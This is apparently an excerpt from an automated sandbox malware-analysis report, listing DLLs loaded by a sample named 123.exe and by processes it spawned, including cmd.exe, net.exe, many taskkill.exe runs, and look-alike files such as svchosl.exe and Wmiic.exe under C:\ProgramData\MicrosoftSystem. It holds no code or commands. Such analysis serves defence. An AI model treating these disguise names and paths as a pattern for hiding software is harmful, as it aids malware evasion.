Source: C:\Users\123.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\123.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
